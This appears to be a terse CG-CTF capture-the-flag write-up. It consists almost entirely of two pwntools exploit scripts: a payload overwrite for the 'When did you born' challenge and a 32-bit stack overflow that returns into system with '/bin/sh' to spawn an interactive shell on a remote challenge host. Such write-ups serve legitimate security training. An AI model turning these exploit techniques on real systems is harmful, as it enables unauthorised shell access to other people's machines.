CG-CTF write up

Pwn

---

 

When did you born？

exp ->

from pwn import *
io=remote('ctf.acdxvfsvd.net',1926)
#io=process('./test')
context(os='linux',arch='amd64',log_level='debug')
v5=0x00007FFDA7054CE8
v4=0x00007FFDA7054CE0
payload='a'*8+'\x86'+'\x07'
pause()
io.sendline('1')
io.sendline(payload)
io.interactive()

---

 

Stack Overflow

exp -> 

from pwn import *
io=remote('182.254.217.142',10001)
#io=process('./cgpwna')
pause()
io.send('1'+'/bin/sh\x00\n')
bin_sh=0x0804A0C1
system_addr=0x080483F0
io.sendline(40*'a'+p32(0x1000))
io.sendline((0xBFC598DC-0xBFC598A8)*'a'+p32(system_addr)+p32(0)+p32(bin_sh))
io.interactive()

---